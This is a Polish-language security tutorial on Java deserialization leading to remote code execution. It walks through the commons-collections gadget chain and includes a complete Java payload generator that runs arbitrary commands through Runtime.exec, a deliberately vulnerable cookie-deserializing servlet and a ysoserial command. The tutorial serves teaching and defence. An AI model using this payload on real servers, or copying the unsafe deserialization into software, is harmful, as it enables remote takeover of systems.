Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Java vs. deserializacja niezaufanych danych i zdalne wykonanie kodu (część I)

02 czerwca 2016, 08:54 | Teksty | komentarzy 5

Wstęp

Deserializacja niezaufanych danych pochodzących od użytkownika większości developerów nie powinna wydawać się problematyczna. Dlaczego miałaby być? W końcu co najwyżej serwer dostanie dane, które po zdeserializowaniu stworzą obiekt inny od oczekiwanego, co spowoduje błąd aplikacji i przerwanie wykonania.

Czytelnicy Sekuraka zdają sobie jednak sprawę z faktu, że pozornie niegroźny błąd w rzeczywistości może prowadzić do bardzo groźnych konsekwencji. Ostatnio mieliśmy możliwość przeczytania świetnych artykułów o problemach z deserializacją w PHP oraz Pythonienumerach 2 i 3 na liście najpopularniejszych języków programowania.

Można tu zadać sobie pytanie – co z numerem 1? Czy Java również jest podatna na tego rodzaju problemy? Jak można je wyexploitować? Jak się przed nimi bronić?

Odpowiedzi na te pytania dostarczy niniejsza seria artykułów.

Ten artykuł jest pierwszym w trzyczęściowej serii. Odpowiemy w niej na pytanie, czy Java jest podatna na błędy deserializacji (spoiler alert: owszem :-)), i poznamy podstawowe wektory ataku. W drugiej części zaprezentowane zostaną bardziej nietypowe ataki, niekoniecznie wynikające z używania natywnej serializacji. W części trzeciej zastanowimy się, w jaki sposób można bronić się przed podatnościami deserializacji niezaufanych danych.

W niniejszym artykule zajmiemy się problemem stricte z punktu widzenia Javy. Nie będziemy zatem omawiać podstaw problemów z deserializacją. Odsyłam do wyżej wspomnianych artykułów o PHP i Pythonie – mimo że język programowania jest inny, zasada działania ta sama. Dodatkowo zakładam, że Czytelnik zna podstawy Javy, w szczególności jest mniej więcej obeznany z tym, czym jest deserializacja, i jak z grubsza działa w Javie.

Kod źródłowy użyty w niniejszym artykule (za wyjątkiem kodu klas z JRE i bibliotek) jest publicznie dostępny.

 

Podstawy – teoria

Zanim przejdziemy do praktyki, spróbujmy sobie przypomnieć odrobinę teorii. Żeby odpowiedzieć na pytanie, czy w Javie mamy możliwość wykorzystania nieuwierzytelnionej deserializacji, musimy wiedzieć, jakie warunki trzeba spełnić. A więc:

  1. Język programowania musi umożliwiać serializację i deserializację danych.
  2. Deserializacja musi odbywać się w niebezpieczny sposób, to znaczy: najpierw tworzymy obiekt, a dopiero potem (!) weryfikujemy, czy typ obiektu zgadza się z typem oczekiwanym (alternatywnie: w ogóle nie weryfikujemy typu obiektu).
  3. Deserializacja obiektu musi umożliwiać nam automatyczne wywołanie pewnych metod na obiekcie (sposób, w jaki to się dzieje, zależy od języka programowania).
  4. Musimy znaleźć odpowiednie klasy obiektów, które posiadają wyżej wspomniane metody i robią w nich coś “interesującego”. Co więcej, klasy te muszą być “dostępne” (Dokładniejsze definicje przymiotników “interesujący” i “dostępny” przedstawię za chwilę).
  5. Konkretny program musi umożliwiać odebranie i deserializację obiektu od użytkownika.

Myślę, że każdy z powyższych pięciu punktów jest zrozumiały (jeśli nie – raz jeszcze polecam artykuły o problemach z deserializacją w PHP i/lub Pythonie, które powinny wszystko wyjaśnić). Jak więc mają się powyższe założenia w kontekście Javy?

1. Mechanizm serializacji / deserializacji

Punkt pierwszy jest w oczywisty sposób spełniony. Dzięki interfejsowi Serializable oraz klasie ObjectInputStream możemy w prosty sposób zapisywać i odczytywać obiekty i – co jest istotne – funkcjonalność ta jest dostępna w każdym Javowym programie (tzn. jest częścią języka Java).

2. Niebezpieczna deserializacja

Również ten punkt w Javie jest spełniony. Niektórzy w tym momencie mogą argumentować, że nie jest to prawda – w końcu, jeśli dostarczymy do deserializacji obiekt, który jest inny niż wymagany przez program, dostaniemy w rezultacie wyjątek ClassCastException, prawda? Otóż prawda, ale zauważmy jedną bardzo istotną rzecz: wyjątek ten zostanie rzucony po stworzeniu obiektu. Dalszy przebieg programu zostanie przerwany, ale z punktu widzenia exploitacji jest to całkowicie nieistotne. Obiekt został stworzony w pamięci, więc w momencie wystąpienia wyjątku jest już za późno.

3. Automatyczne wykonanie metod

Także ten punkt możemy odhaczyć na naszej liście. Co prawda Java jest językiem silnie typowanym (co oznacza że nawet jeśli klasy ExpectedObject oraz EvilObject mają tę samą metodę: someMethod(), nie możemy ich między sobą podmienić, gdyż nie zgodzi się typ), ale na (nie)szczęście dostarcza nam metod, które są wywoływane zawsze w momencie deserializacji – konkretnie, jeśli dana klasa implementuje na przykład metodę readObject(), metoda ta zostanie wywołana zawsze podczas jego deserializacji.

4. Klasy „Interesujące” i „Dostępne”

Tutaj sprawa się lekko komplikuje. Po pierwsze, zdefiniujmy co znaczy “dostępny”. W przypadku PHP klasa jest dostępna, jeśli na przykład została zdefiniowana w tym samym pliku lub została dołączona, na przykład funkcjami require()/include(). W Javie sprawa wygląda tylko trochę inaczej – nasza klasa będzie dostępna, jeśli (w uproszczeniu) znajduje się na zmiennej CLASSPATH.

Co natomiast znaczy “interesujący”? Z punktu widzenia exploitacji: interesujące klasy to takie, które wykonują kod przynoszący zysk atakującemu. W tej części artykułu skupimy się na najgroźniejszej opcji – klasach umożliwiających wykonanie dowolnych komend systemowych (RCE). Należy jednak pamiętać, że istnieją inne możliwości (więcej o tym w części drugiej artykułu).

5. Program deserializuje dane od użytkownika

To w oczywisty sposób zależy od konkretnej aplikacji. Należy jednak pamiętać, że nawet jeśli nasz kod nie używa serializacji wprost, nie możemy wykluczyć, że któryś z używanych frameworków lub bibliotek na niej polega.

 

Podatność deserializacji w języku Java

W porządku. Jak widać, punkty 1-3 są automatycznie spełnione w każdej Javowej aplikacji. Punkt 5 zależy mocno od konkretnej aplikacji, a więc nie będziemy się na nim (przynajmniej na razie) skupiać. Zastanówmy się zatem – jak jest z założeniem nr 4? Otóż, potrzebujemy gadżetów.

Gadżety są to fragmenty kodu aplikacji, które z zasady są niegroźne i w normalnym przebiegu programu wykonują bezpieczny kod według zamierzenia programisty.

Atakujący jednak ma możliwość odpowiedniego połączenia gadżetów w tak zwany łańcuch, który użyje je wbrew ich oryginalnemu przeznaczeniu. Gadżety występują na przykład w tzw. ROP (Return-Oriented Programming) i służą exploitacji błędów pamięciowych – w tym kontekście, gadżetami są odpowiednio dobrane instrukcje assemblera. W naszym artykule, gadżetem będą odpowiednie klasy Javy, które po złączeniu w odpowiednią hierarchię dadzą atakującemu możliwość wykonania niebezpiecznego kodu.

Idealnie byłoby gdybyśmy znaleźli zbiór gadżetów, który umożliwi nam wykonanie dowolnego kodu przy użyciu klas dostępnych (jedynie) w JRE. Niestety (na szczęście?) do tej pory nikt nie był w stanie przedstawić takiego rozwiązania (to nie do końca prawda – pod koniec artykułu wspomnę o tym jeszcze raz).

Czy to znaczy, że gra skończona, a Java jest całkowicie bezpieczna?

Otóż nie. Każdy kto miał do czynienia z dowolnym większym programem Javowym wie, że praktycznie nie zdarza się, żeby aplikacja używała tylko i wyłącznie klas z JRE. W rzeczywistości większość komercyjnych (i nie tylko) programów korzysta z dużej liczby bibliotek. Może więc jedna z nich dostarczy nam ciekawych gadżetów?

Warte zauważenia jest, że takie podejście to dla atakującego miecz obosieczny: z jednej strony, dzięki włączeniu w rozważania dodatkowych bibliotek uzyskujemy nowe potencjalne gadżety. Z drugiej strony, ograniczamy się do exploitacji tylko tych programów, które używają tych bibliotek. Z punktu widzenia atakującego, interesujące będzie więc znalezienie gadżetów obecnych w bibliotekach, które są jak najszerzej używane.

Pozwólmy sobie na chwilę przerwy od części technicznej.

Błędy deserializacji w Javie nie są nowością – w rzeczywistości już w 2006 roku pokazano pierwsze problemy z nią związane. Przez długi czas jednak były one ignorowane i dopiero pod koniec zeszłego roku zrobiło się o nich głośno. Wielką ironią jest fakt, że zrobiło się o nich głośno ponad dziewięć miesięcy po wyjściu na jaw.

Konkretnie, na początku roku 2015, Chris Frohoff (@frohoff) oraz Gabriel Lawrence (@gebl) w ramach AppSecCali przedstawili prezentacje o problemach z deserializacją w różnych językach programowania i technologiach. Przy tej okazji, mimochodem wręcz wspomnieli o odnalezieniu gadżetów obecnych tylko w JRE oraz bibliotece Apache commons-collections.

Wygląda poważnie, nieprawdaż? Co na to świat technologiczny? Otóż – nic. @frohoff i @gebl nie wymyślili atrakcyjnej nazwy dla swojej podatności. Nie przedstawili kolorowego logo. Nie stworzyli dedykowanej strony internetowej. Zostali więc całkowicie zignorowani przez prawie wszystkich (po czasie, ich odkrycie zostało okrzyknięte jako “The most underrated, underhyped vulnerability of 2015”, co dużo mówi o całej sprawie). Na szczęście, ktoś się zainteresował – dziewięć miesięcy później badacze z firmy FoxGlove Security, bazując na tym łańcuchu gadżetów, odnaleźli podatności w pięciu różnych, szeroko używanych produktach (w późniejszym terminie ta lista mocno się wydłużyła). Błędy deserializacji w Javie trafiły w końcu na pierwsze strony.

Za chwilę przedstawię kompletny opis znalezionego przez panów @frohoff i @gebl łańcucha gadżetów (a właściwie jego wariację). Zanim jednak to zrobię, przydałoby się odpowiedzieć na jedno pytanie – na ile popularna jest biblioteka commons-collections? Z całą pewnością nie jest używana wszędzie. Jak się okazuje, jest jednak używana na tyle często, że odnaleziony łańcuch jest bardzo niebezpieczny. Dla przykładu serwery aplikacji WebLogic, WebSphere i JBoss, a także aplikacje Jenkins i OpenNMS okazały się być podatne. Wśród większych portali internetowych problemy znaleziono na przykład w serwisie PayPal. Zdecydowanie nie jest to więc rzecz, którą można ignorować.

 

Apache commons-collections gadget chain

W porządku, czas na obiecany opis ciągu gadżetów. Nie jest to oryginalny łańcuch od @frohoff i @gebl – jest on zaczerpnięty z prezentacji Matthiasa Kaisera, i według mnie jest trochę prostszy do zrozumienia. Od razu zaznaczę, iż różnice w obu łańcuchach są kosmetyczne – efekt jest ten sam.

Poniższy opis nie jest trywialny do zrozumienia. Wymaga dokładnej analizy kodu i znajomości języka Java. Jest on jednak doskonałym przykładem na to, że skomplikowane wcale nie równa się nieexploitowalne. Zrozumienie zasady działania łańcucha gadżetów nie jest konieczne do umiejętności wykorzystania podatności – jeśli więc opis wyda się Czytelnikowi zbyt skomplikowany lub nieinteresujący, zapraszam od razu do następnej części artykułu, w której omówię praktyczne wykorzystanie błędu.

Zacznijmy od początku. Jak wiemy, chcemy wywołać nasz dowolny kod podczas deserializacji. Wspomniałem już, że jedną z metod na to jest znalezienie klasy zawierającej podatną implementację metody readObject(). Przykładem takiej klasy jest AnnotationInvocationHandler (zawarta w JRE). Oto jej definicja:

/* ... Nagłówki, importy, nic ciekawego ... */

/**
* InvocationHandler for dynamic proxy implementation of Annotation.
*
* @author  Josh Bloch
* @since   5
*/
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  private final Class<? extends Annotation> type;
  private final Map<String, Object> memberValues;

  AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    type = type;
    memberValues = memberValues;
  }

/* ... Dużo nieinteresującego dla nas kodu ... */

  private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
      s.defaultReadObject();

      AnnotationType annotationType = null;
      try {
        annotationType = AnnotationType.getInstance(type);
      } catch(IllegalArgumentException e) {
        return;
      }

      Map<String, Class<?>> memberTypes = annotationType.memberTypes();
   
      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
       String name = memberValue.getKey();
       Class<?> memberType = memberTypes.get(name);
       if (memberType != null) {
        Object value = memberValue.getValue();
         if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
             memberValue.setValue(
               new AnnotationTypeMismatchExceptionProxy(
                 getClass() + "[" + value + "]").setMember(
                   members().get(name)));
         }
       }
     }
   }
}

Widzimy kilka rzeczy. Po pierwsze, klasa ta zawiera dwa pola: type (typ: Class) i memberValues (typ: Map). Po drugie, widzimy, że mamy zdefiniowaną metodę readObject(), czyli to czego szukamy. Pobieżny rzut oka na jej definicję pokazuje, że metoda ta najpierw wywołuje domyślną implementację ObjectInputStream.defaultReadObject(), a następnie dokonuje sprawdzenia poprawności wczytanego obiektu, nadpisując odpowiednio niektóre pola. Wiemy zatem, że pola type i memberValues możemy ustalić na dowolną wartość (z dokładnością do typu), gdyż defaultReadObject() ustawi je odpowiednio podczas deserializacji.

Przeanalizujmy dokładniej, co się dzieje:

  • W linii 22 deserializujemy obiekt za pomocą domyślnej metody z ObjectInputStream;
  • W liniach 24-29 próbujemy ustawić pewną zmienną (annotationType) na instancję klasy trzymanej przez (zdefiniowane przez nas) pole type. Zauważmy, że operacja ta powiedzie się tylko wtedy, gdy przy wywołaniu metody getInstance(Class) nie zostanie rzucony wyjątek IllegalArgumentException;
  • W linii 31 tworzymy obiekt memberTypes, który zawiera wynik zwracany przez memberTypes(). Jest to po prostu mapa indeksowana nazwami pól konkretnej klasy, odwołująca się do ich typów;
  • W liniach 33-45 iterujemy się po drugim ze zdefiniowanych przez nas pól – memberValues. W każdej iteracji mamy dostępny jeden element typu EntrymemberValue;
  • W liniach 34-35 pobieramy z memberValue klucz, a następnie wyszukujemy wartość dla tego samego klucza w mapie memberTypes. Dalszy fragment kodu będzie wykonany tylko jeśli taka wartość zostanie znaleziona, co sprawdzane jest w linii 36;
  • W liniach 37-43 pobieramy wartość z memberValue, a następnie sprawdzamy, czy typ tej wartości jest zgodny z typem pobranym w poprzednich liniach z memberTypes lub klasą ExceptionProxy. Jeśli żaden z tych warunków nie został spełniony, wywołujemy metodę setValue() z pewnym (nieistotnym z punktu widzenia exploitacji) parametrem w linii 39.

Powyższy fragment kodu nie jest trywialny, więc polecam przeanalizować go dokładnie. Jednak, nawet po głębokiej analizie nie jest do końca jasne, w jaki sposób klasa AnnotationInvocationHandler nam pomaga – nigdzie nie widać naszego Świętego Graala, czyli uruchomienia dowolnego kodu (RCE). Wybiegając trochę w przyszłość, zdradzę, że istotna dla nas jest linia 39 – jeśli jesteśmy w stanie wywołać metodę setValue() na zdefiniowanej przez nas mapie (a przypominam – mapa memberValues jest dostarczana przez nas w zserializowanym obiekcie, a więc mamy nad nią pełną kontrolę), będziemy w stanie wywołać dowolny kod. Zanim pokażę, jak to zrobić, upewnijmy się, że jesteśmy w ogóle w stanie dojść do linii 39. Mamy trzy warunki do spełnienia:

  1. W linii 26 nie może zostać rzucony wyjątek.
  2. Warunek w linii 36 musi być spełniony, zatem kontrolowana przez nas mapa memberValues musi posiadać klucz, który znajduje się również w mapie memberTypes (kontrolowanej przez nas pośrednio – za pomocą pola type).
  3. Warunek w linii 38 musi być spełniony, a więc typ wartości z naszej mapy musi być inny niż typ zwrócony z memberTypes, oraz inny niż ExceptionProxy.

Wygląda to może dość skomplikowanie, ale w praktyce okazuje się, że spełnienie założeń jest dość proste.

Aby spełnić warunek 1, możemy użyć jako pola type na przykład klasy Target z JRE (powinna być ona znana dobrze wszystkim programistom Javy). Klasa Target ma tylko jedno pole – value, zatem zgodnie z warunkiem 2, w zdefiniowanej przez nas mapie memberValues również musimy mieć klucz value. Typ value w Target to ElementType[] – a więc dowolny inny typ w zdefiniowanej przez nas mapie (a także inny niż ExceptionProxy) spełni warunek 3. Takim typem (żeby nie komplikować sprawy) będzie na przykład zwykły String. Okazuje się więc, że aby spełnić wszystkie powyższe warunki, wystarczy stworzyć klasę AnnotationInvocationHandler z następującymi parametrami:

type -> java.lang.annotation.Target.class
memberValues -> {"value" -> "value"}

Skomplikowane założenia, jak się okazuje, doprowadzają do prostego payloadu :-) Jest jeszcze jeden problem, który musimy jednak rozwiązać: aby stworzyć payload, będziemy musieli stworzyć obiekt klasy AnnotationInvocationHandler z wyżej wspomnianymi wartościami.

Uważny Czytelnik zauważył pewnie, że konstruktor tej klasy jest typu package-private, a więc nie możemy go, ot tak po prostu, wywołać. Każdy, kto jednak bawił się trochę Javą, wie, że za pomocą refleksji jesteśmy w stanie dobrać się nie tylko do pól i metod package-private, ale nawet private. Okazuje się więc, że to nie jest problem (przykład jak to zrobić, będzie zawarty w kodzie generującym pełny payload poniżej).

Osobom, które zrozumiały powyższe wywody – gratuluję! I obiecuję: najtrudniejsza część już za nami, teraz jest z górki. Musimy tylko spowodować, aby wywołanie metody setValue() na naszej mapie uruchomiło zdefiniowany przez nas kod… Nic prostszego, prawda :-)?

Rozważmy następną klasę: TransformedMap, pochodzącą z biblioteki commons-collections. Klasa ta umożliwia nam dekorowanie dowolnej mapy. Oto jej kod źródłowy:

/* ... Znów nagłówki, importy, komentarze ... */

public class TransformedMap<K, V> extends AbstractInputCheckedMapDecorator<K, V> implements Serializable {

/* ... Kompletne nudy ... */

  public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
  }

/* ... Śmieci, śmieci ... */

  /**
   * Override to transform the value when using <code>setValue</code>.
   *
   * @param value  the value to transform
   * @return the transformed value
   * @since 3.1
   */
   @Override
   protected V checkSetValue(final V value) {
     return valueTransformer.transform(value);
   }

/* ... Reszta klasy, Kto by się nią przejmował ... */

}

Mając dowolną mapę, możemy wywołać metodę TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) (linia 7), która ją udekoruje. To, co nas jednak interesuje, to metoda checkSetValue() (linia 21) – jak można przeczytać w komentarzu, metoda ta będzie zawsze wywołana w momencie wywołania setValue() na naszej mapie. Coś świta :-)?

Popatrzmy na implementację tej metody: wywoła ona metodę transform() na zdefiniowanym przez nas obiekcie klasy implementującej interfejs Transformer (linia 22) – brzmi ciekawie.

Jakie obiekty spełniające ten warunek mamy dostępne? Jest ich dość dużo (i z kilku z nich skorzystamy później), ale jeden powinien od razu rzucić się w oczy osobie interesującej się bezpieczeństwem: InvokerTransformer.

W tym momencie nie tyle powinna zapalić się czerwona lampka, a powinny zawyć syreny, podczas gdy załoga okrętu zarządza pełną ewakuację.

Ale nie uprzedzajmy faktów: jak wygląda klasa InvokerTransformer? Oto ona:

/* ... To co zwykle, a więc nic interesującego ... */

public class InvokerTransformer<I, O> implements Transformer<I, O> {

  /** The method name to call */
  private final String iMethodName;

  /** The array of reflection parameter types */
  private final Class<?>[] iParamTypes;

  /** The array of reflection arguments */
  private final Object[] iArgs;

/* ... Tona kodu potrzebna nam po nic ... */

  /**
   * Transforms the input to result by invoking a method on the input.
   *
   * @param input  the input object to transform
   * @return the transformed result, null if null input
   */
   @Override
   @SuppressWarnings("unchecked")
   public O transform(final Object input) {
     if (input == null) {
       return null;
     }
     try {
       final Class<?> cls = input.getClass();
       final Method method = cls.getMethod(iMethodName, iParamTypes);
       return (O) method.invoke(input, iArgs);
     } catch (final NoSuchMethodException ex) {
       throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
     } catch (final IllegalAccessException ex) {
       throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
     } catch (final InvocationTargetException ex) {
       throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
     }
   }
}

Bingo! Analizując metodę transform() – a konkretnie linie 29-31 (reszta kodu tylko zaciemnia nam istotę działania), możemy zauważyć, że jesteśmy w stanie wywołać dowolną metodę, z dowolnymi argumentami, na obiekcie dostarczonym jej jako argument.

Dowolna metoda? W takim razie, spróbujmy wywołać fragment kodu, który już powinien wydawać się znajomy każdemu, kto kiedykolwiek exploitował Javę: Runtime.getRuntime().exec(command), gdzie command to zdefiniowane przez nas dowolne polecenie systemowe. Niestety, nie jest aż tak prosto – InvokerTransformer jest ciekawą klasą, ale nie umożliwia nam wywołania tak skomplikowanego ciągu instrukcji. Musimy pójść trochę naokoło.

Pierwszy problem, który uważny Czytelnik już zauważył, to ten, że metoda getRuntime() jest metodą statyczną. Innymi słowy, nie mamy obiektu, na którym możemy ją wywołać.

Jak można to obejść? Okazuje się że dość prosto – użyjemy refleksji. W związku z czym nasz ciąg funkcji zmieni postać na następujący:

Runtime.class.getMethod(“getRuntime”).invoke(null).exec(command)

Ok, ale to nie koniec problemów – powyższa linia to złożenie kilku wywołań funkcji, a na dodatek musimy najpierw mieć dostęp do obiektu Runtime.class. InvokerTransformer jest w stanie wywołać tylko jedną funkcję.

Co możemy zrobić? Cóż… jak wspomniałem wcześniej, mamy do dyspozycji inne klasy implementujące interfejs Transformer! Użyjemy zatem dwóch z nich:

  • ConstantTransformer – jak sama nazwa wskazuje, transformer ten zawsze zwróci nam pewną wartość, zdefiniowaną na etapie tworzenia obiektu. W naszym przypadku? Runtime.class!
  • ChainedTransformer – znów nie powinno nikogo zdziwić, że ten transformer definiuje po prostu złożenie innych transformerów, a więc umożliwi nam wywołanie kilku metod na raz.

W porządku, podsumujmy nasze użycie transformerów. Interesująca dla nas będzie następująca konstrukcja:

Transformer[] transformers = new Transformer[] {
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer("getMethod", new Class[] { String.class }, new Object[] { "getRuntime" }),
  new InvokerTransformer("invoke", new Class[] { Object.class }, new Object[] { null }),
  new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { command })
};

Transformer transformerChain = new ChainedTransformer(transformers);

Wszystkie klocki już mamy – czas złożyć naszą układankę.

Po pierwsze, przypomnijmy, z jakich klas będzie się składać nasz łańcuch gadżetów:

Klasy z JRE:

  • AnnotationInvocationHandler
  • HashMap
  • Map
  • Runtime
  • Target

Klasy z commons-collections:

  • TransformedMap
  • Transformer
  • InvokerTransformer
  • ChainedTransformer
  • ConstantTransformer

Dla lepszego zrozumienia, powyższe klasy i zależności między nimi zostały przedstawione na diagramie:

Screenshot_01_06_16_15_36

I ostateczny kod Javowy, który wygeneruje nasz payload:

/* ... Importy ... */

public class PayloadGenerator {

  public static void main(String[] args) throws Exception {
    String command = args[0];
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] { String.class }, new Object[] { "getRuntime" }),
      new InvokerTransformer("invoke", new Class[] { Object.class }, new Object[] { null }),
      new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { command })
    };

    Transformer transformerChain = new ChainedTransformer(transformers);

    Map originalMap = new HashMap();
    originalMap.put("value", "value");
    Map decoratedMap = TransformedMap.decorate(originalMap, null, transformerChain);
  
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object aih = ctor.newInstance(Target.class, decoratedMap);
  
    ObjectOutputStream oos = new ObjectOutputStream(System.out);
    oos.writeObject(aih);
    oos.close();
  }
}

Przeanalizujmy na koniec, krok po kroku, co się stanie w momencie deserializacji obiektu stworzonego powyższym kodem:

  1. Zserializowanym obiektem jest zmienna aihAnnotationInvocationHandler.
  2. Podczas jego deserializacji, dzięki odpowiedniemu ustawieniu jego pól memberValues i type, zostanie wywołana metoda setValue() na obiekcie memberValue (Entry) powstałym podczas iteracji przez (jednoelementową) mapę memberValues.
  3. Ponieważ memberValues nie jest zwykłą mapą, a mapą dekorowaną (decoratedMap z naszego programu), zanim wywołamy metodę setValue(), zostanie wywołana metoda checkSetValue() na obiekcie decoratedMap (TransformedMap).
  4. Metoda checkSetValue() wywoła transformer transformerChain na wartości, którą chcemy ustawić.
  5. Transformer po kolei:
    • zwróci obiekt Runtime.class,
    • wywoła na nim metodę getMethod(„getRuntime”),
    • na zwróconym obiekcie Method wywoła metodę invoke(null),
    • na zwróconym obiekcie Runtime wywoła metodę exec(command), gdzie command jest zdefiniowane jako argument naszego programu, i jest dowolną komendą systemową.

Proces dojścia do powyższego łańcucha gadżetów jest dość skomplikowany, ale ostateczny kod powinien być zrozumiały dla wszystkich. Przypominam też, że payload użyty w zademonstrowanym za chwilę przykładzie będzie się nieznacznie różnił od powyższego (nie zauważymy tego, gdyż nie będziemy się bawić w analizę payloadu, ale wspominam o tym z kronikarskiego obowiązku). Obie jego wersje jak najbardziej działają (dla dociekliwych ćwiczenie: po przeczytaniu artykułu proponuję skompilować powyższy kod, uruchomić go, aby uzyskać payload, i dostarczyć do aplikacji z poniższego przykładu – wynik działania będzie taki sam).

Czas przejść do części praktycznej, a więc exploitacji.

 

Podatność deserializacji w języku Java – praktyka

Zanim to jednak zrobimy, zauważmy jedną rzecz – zaprezentowany przykład łańcucha gadżetów jest dość skomplikowany. Dodatkowo, serializacja w Javie jest binarna (w przeciwieństwie na przykład do serializacji PHP czy Python pickle), a więc tworzenie naszego payloadu nie będzie trywialne (abstrahuję teraz od tego, że przed chwilą napisaliśmy generator payloadów – zauważmy jednak, że generator ten zadziała tylko w jednym konkretnym przypadku łańcucha gadżetów).

Czy to duży problem? Nie aż tak :-) panowie @frohoff i @gebl byli na tyle uprzejmi, że udostępnili nam gotowe narzędzie o nazwie ysoserial – super proste w użyciu i umożliwiające tworzenie dowolnych payloadów bez praktycznie żadnej znajomości Javy (level = script kiddie). Narzędzie to jest generalizacją naszego kodu generacji payloadu, dostosowanym do wygodnego załączania nowych “modułów” (nowych łańcuchów gadżetów). Przykładowe użycie wygląda następująco:

$ java -jar ysoserial.jar CommonsCollections1 “touch /tmp/pwned” > payload

Po wykonaniu powyższego polecenia w pliku payload będziemy mieli nasz zserializowany łańcuch gadżetów. W dalszej części będę używał tego narzędzia do generowania payloadów.

Narzędzie ysoserial po wywołaniu bez argumentów przedstawi nam listę dostępnych łańcuchów gadżetów – w naszych przykładach będziemy jednak zawsze używać oryginalnego łańcucha od @frohoff i @gebl, nazwanego CommonsCollections1.

1. Prosta aplikacja

Na potrzeby demonstracji, przygotowałem bardzo prostą aplikacje webową. Składa się ona z jednego servletu:

@WebServlet(
  name = "Servlet",
  urlPatterns = {"/"}
)
public class Servlet extends HttpServlet {

  @Override
  protected void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
      Cookie[] cookies = request.getCookies();

      Data data = null;

      if (null != cookies) {
        for (Cookie cookie : cookies) {
          if (cookie.getName().equals("data")) {
            try {
              byte[] serialized = Base64.decodeBase64(cookie.getValue());
              ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
              ObjectInputStream ois = new ObjectInputStream(bais);
              data = (Data) ois.readObject();
            } catch (ClassNotFoundException e) {
              e.printStackTrace();
            }
          }
        }
      }

      if (null == data) {
        data = new Data("Anonymous");
      }

      request.setAttribute("name", data.getName());
      request.getRequestDispatcher("page.jsp").forward(request, response);
    }

  @Override
  protected void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
      if (null != request.getParameter("name")) {
        Data data = new Data(request.getParameter("name"));

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(data);

        Cookie cookie = new Cookie("data", Base64.encodeBase64String(baos.toByteArray()));
        response.addCookie(cookie);
      }

      response.sendRedirect("/");
    }
}

I jednego pliku JSP:

<html>
  <head>
    <title>Java deserialization example</title>
  </head>
  <body>
    <h2>Logged in as <%= request.getAttribute("name") %></h2>
    <form action="/" method="POST">
      Change your login: <input type="text" name="name" />
      <input type="submit"/>
    </form>
  </body>
</html>

Działanie jest bardzo proste: po odwiedzeniu strony, servlet szuka ciasteczka data, w którym zakodowane są w base64 dane użytkownika w postaci zserializowanej klasy Data:

public class Data implements Serializable {

  private String name;

  public Data(String name) {
    this.name = name;
  }

  public String getName() {
    return name;
  }

  public void setName(String name) {
    this.name = name;
  }

}

Gdy ciasteczko zostanie odnalezione, servlet odkoduje i zdeserializuje je, a następnie przekaże do wyświetlenia imię użytkownika. W przeciwnym wypadku przekaże imię “Anonymous”:

demo-figure1

Strona umożliwia zmianę swoich danych. Gdy servlet dostanie żądanie POST, zostanie stworzony nowy obiekt typu Data zawierający parametr z requestu name, który następnie zostanie zserializowany, zakodowany w base64 i wysłany jako nowa wartość ciasteczka data do przeglądarki.

demo-figure2

Jak widać, użytkownik, modyfikując ciasteczko, jest w stanie wymusić deserializacje dowolnego obiektu, zatem punkty 1, 2, 3 i 5 z naszej listy warunków na wykorzystanie podatności deserializacji są spełnione.

Co z gadżetami? Czy mamy możliwość uzyskania kontroli nad maszyną? Zobaczmy na plik pom.xml:

(...)

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

(...)

Jak widać, dołączamy podatną wersję biblioteki commons-collections w dependencjach mavenowych. Oznacza to, że powinniśmy być w stanie wykonać dowolny kod na serwerze.

Uwaga: zauważmy, że jesteśmy w stanie wykorzystać podatność mimo tego, że w żadnym miejscu nie używamy commons-collections! Sam fakt, że biblioteka znajduje się na CLASSPATH (tutaj: dołączona przez mavena), jest wystarczający, żeby z niej skorzystać! Programista mógł dołączyć bibliotekę “na później” lub też zapomnieć o jej usunięciu. Mogła ona także być dołączona implicite przez dowolną inną bibliotekę, której użył.

W każdym z tych przypadków jesteśmy podatni na zdalne wykonanie kodu!

W porządku, spróbujmy zatem dokonać exploitacji.

Najpierw, obejrzyjmy sobie nasze ciastko:

demo-figure3

Przypominam że jest to nasz zakodowany w base64 i zserializowany obiekt Javowy.

Pro-tip: każdy zserializowany obiekt Javowy zaczyna się od magicznych bajtów “AC ED”, po których następuje numer wersji – właściwie zawsze równy “00 05”. Możemy wykorzystać to do łatwego zweryfikowania, czy mamy do czynienia z zserializowanym Javowym obiektem – po prostu szukamy ciągu bajtów “AC ED 00 05”. Ten sam ciąg bajtów zakodowany w base64 będzie zaczynał się od “rO0”, a więc nasze poszukiwania powinny również uwzględniać tę wartość.

Nie pozostaje nic prostszego, niż podmienienie ciastka na naszą wartość i odświeżenie strony – serwer zdekoduje nasze dane i przy odrobinie szczęścia wykona nasz kod. Jak wspomniałem wcześniej, użyjemy do tego narzędzia ysoserial:

demo-figure4

W pliku payload mamy teraz zserializowany łańcuch gadżetów. Możemy podglądnąć go za pomocą hex viewera:

demo-figure5

